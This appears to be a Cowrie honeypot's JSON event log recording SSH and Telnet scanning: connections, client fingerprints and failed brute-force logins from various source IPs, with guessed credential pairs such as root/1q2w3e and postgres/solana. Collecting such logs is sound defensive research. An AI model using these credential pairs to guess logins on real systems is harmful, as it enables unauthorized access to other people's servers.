{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:93:16:d2:b0:96:27:8d:e6:92:2c:0a:af:d6:69:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAootAgptyHpQJ38P269K0NH7g6+YitCZZ/UDe9mb9Rad71aShcLqDcnk50tZJI+7whhCM0xKsIqcHZp+lL7GiYl3KCuFk8Z07ImJV85MQxSxMlOyygCR8JukQKi7wj2+l+gUOQThlMykALZhG1YGDWq36m3LpjDskKf+/65TdqG7kxIwyFRehkEyJ2WT7eaKqqt/DN5RyH6EugIERIsXkxwbSDHoK5wg2hdrYf81Isfn1oq87aZQnA9a2Ytyo7Ccq0zq/fsnJpD8yBH8yVB/AgIsgnb1nX6x4qWmI9u7026uZ10vHlCMf8WXpjAVoBp4q0IWx4BRtqRQLNTaO882Lnw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6e:93:16:d2:b0:96:27:8d:e6:92:2c:0a:af:d6:69:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:15.555572Z","src_ip":"217.154.145.209","session":"777068eb9de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:93:16:d2:b0:96:27:8d:e6:92:2c:0a:af:d6:69:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAootAgptyHpQJ38P269K0NH7g6+YitCZZ/UDe9mb9Rad71aShcLqDcnk50tZJI+7whhCM0xKsIqcHZp+lL7GiYl3KCuFk8Z07ImJV85MQxSxMlOyygCR8JukQKi7wj2+l+gUOQThlMykALZhG1YGDWq36m3LpjDskKf+/65TdqG7kxIwyFRehkEyJ2WT7eaKqqt/DN5RyH6EugIERIsXkxwbSDHoK5wg2hdrYf81Isfn1oq87aZQnA9a2Ytyo7Ccq0zq/fsnJpD8yBH8yVB/AgIsgnb1nX6x4qWmI9u7026uZ10vHlCMf8WXpjAVoBp4q0IWx4BRtqRQLNTaO882Lnw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:15.559801Z","src_ip":"217.154.145.209","session":"777068eb9de7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:15.660222Z","src_ip":"217.154.145.209","session":"777068eb9de7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:16.218904Z","src_ip":"103.122.221.179","session":"235f3f6b5f54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":35684,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc644bb54d13","protocol":"ssh","message":"New connection: 58.186.20.143:35684 (10.17.0.5:22) [session: bc644bb54d13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:19.363994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:19.374985Z","src_ip":"58.186.20.143","session":"bc644bb54d13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:19.640464Z","src_ip":"58.186.20.143","session":"bc644bb54d13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.132.141.112","src_port":46184,"dst_ip":"10.17.0.5","dst_port":22,"session":"9993cd5c13e9","protocol":"ssh","message":"New connection: 79.132.141.112:46184 (10.17.0.5:22) [session: 9993cd5c13e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:20.345204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:20.357392Z","src_ip":"79.132.141.112","session":"9993cd5c13e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":57878,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce9a1e421c9d","protocol":"ssh","message":"New connection: 59.17.95.129:57878 (159.203.135.109:22) [session: ce9a1e421c9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:20.432064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:20.440903Z","src_ip":"59.17.95.129","session":"ce9a1e421c9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:20.450680Z","src_ip":"79.132.141.112","session":"9993cd5c13e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:20.639639Z","src_ip":"59.17.95.129","session":"ce9a1e421c9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e","message":"login attempt [root/1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:20.648062Z","src_ip":"58.186.20.143","session":"bc644bb54d13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root2019","message":"login attempt [root/Root2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:20.836205Z","src_ip":"79.132.141.112","session":"9993cd5c13e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@SSW0rd","message":"login attempt [root/P@SSW0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:21.465149Z","src_ip":"59.17.95.129","session":"ce9a1e421c9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:21.896000Z","src_ip":"58.186.20.143","session":"bc644bb54d13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:21.927480Z","src_ip":"79.132.141.112","session":"9993cd5c13e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:22.667344Z","src_ip":"59.17.95.129","session":"ce9a1e421c9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":49002,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e1c705d476f","protocol":"ssh","message":"New connection: 87.251.79.125:49002 (159.203.135.109:22) [session: 3e1c705d476f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:25.679705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:25.684953Z","src_ip":"87.251.79.125","session":"3e1c705d476f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:25.758908Z","src_ip":"87.251.79.125","session":"3e1c705d476f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":39968,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea7a8bb9c2e7","protocol":"ssh","message":"New connection: 193.32.162.145:39968 (10.17.0.5:22) [session: ea7a8bb9c2e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:25.788735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:25.795476Z","src_ip":"193.32.162.145","session":"ea7a8bb9c2e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:25.899172Z","src_ip":"193.32.162.145","session":"ea7a8bb9c2e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty82","message":"login attempt [root/qwerty82] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:25.988323Z","src_ip":"87.251.79.125","session":"3e1c705d476f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"solana","message":"login attempt [postgres/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:26.210269Z","src_ip":"193.32.162.145","session":"ea7a8bb9c2e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:27.067102Z","src_ip":"87.251.79.125","session":"3e1c705d476f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:27.314067Z","src_ip":"193.32.162.145","session":"ea7a8bb9c2e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42542,"dst_ip":"10.17.0.5","dst_port":23,"session":"518dbcde3d45","protocol":"telnet","message":"New connection: 152.42.224.71:42542 (10.17.0.5:23) [session: 518dbcde3d45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:30.029480Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42544,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f27480fbe45","protocol":"telnet","message":"New connection: 152.42.224.71:42544 (10.17.0.5:23) [session: 7f27480fbe45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:34.122353Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.124.153","src_port":33748,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c5ecf297f02","protocol":"ssh","message":"New connection: 43.153.124.153:33748 (10.17.0.5:22) [session: 4c5ecf297f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:35.208084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:35.213525Z","src_ip":"43.153.124.153","session":"4c5ecf297f02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:35.282990Z","src_ip":"43.153.124.153","session":"4c5ecf297f02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tanja","message":"login attempt [root/tanja] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:35.586979Z","src_ip":"43.153.124.153","session":"4c5ecf297f02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:36.659208Z","src_ip":"43.153.124.153","session":"4c5ecf297f02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47152,"dst_ip":"10.17.0.5","dst_port":23,"session":"1389357e6b18","protocol":"telnet","message":"New connection: 152.42.224.71:47152 (10.17.0.5:23) [session: 1389357e6b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:39.723413Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.111.187","src_port":41290,"dst_ip":"159.203.135.109","dst_port":22,"session":"279f77b4187f","protocol":"ssh","message":"New connection: 43.128.111.187:41290 (159.203.135.109:22) [session: 279f77b4187f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:44.520812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:44.526343Z","src_ip":"43.128.111.187","session":"279f77b4187f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:44.763465Z","src_ip":"43.128.111.187","session":"279f77b4187f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"123123","message":"login attempt [test1/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:45.740479Z","src_ip":"43.128.111.187","session":"279f77b4187f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:46.981158Z","src_ip":"43.128.111.187","session":"279f77b4187f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.36473155021667,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:47.319533Z","src_ip":"152.42.224.71","session":"d4317a8c76d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51350,"dst_ip":"10.17.0.5","dst_port":23,"session":"9528b95199cd","protocol":"telnet","message":"New connection: 152.42.224.71:51350 (10.17.0.5:23) [session: 9528b95199cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:49.884404Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.0.214.136","src_port":2370,"dst_ip":"10.17.0.5","dst_port":22,"session":"27e45d2e11c6","protocol":"ssh","message":"New connection: 181.0.214.136:2370 (10.17.0.5:22) [session: 27e45d2e11c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:53.528925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:53.534296Z","src_ip":"181.0.214.136","session":"27e45d2e11c6","protocol":"ssh"}
